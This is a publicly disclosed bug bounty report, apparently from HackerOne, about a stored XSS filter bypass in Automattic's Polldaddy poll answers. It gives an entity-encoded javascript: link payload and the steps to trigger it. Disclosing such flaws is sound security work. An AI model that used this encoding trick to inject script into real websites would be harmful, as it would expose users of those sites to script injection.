HexBrain

Automattic · Report #264832

xss filter bypass [polldaddy]

Validstatus
21upvotes
1 Oct 2017disclosed

How it was found

Hi,

previously reported xss https://hackerone.com/reports/107405 which is fixed, but i am able to bypass that fix.

Payload for bypass : <a href="javascript&colon;alert&lpar;document&period;domain&rpar;">Click Here</a>

Steps:

  • Login into Polldaddy account polldaddy.com
  • go to POLLS and create new poll
  • in answers. enter xss payload <a href="javascript&colon;alert&lpar;document&period;domain&rpar;">Click Here</a>

{F217173}

scroll down and click on it , xss will trigger. {F217172}

Ref: https://hackerone.com/reports/107405

Thanks

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original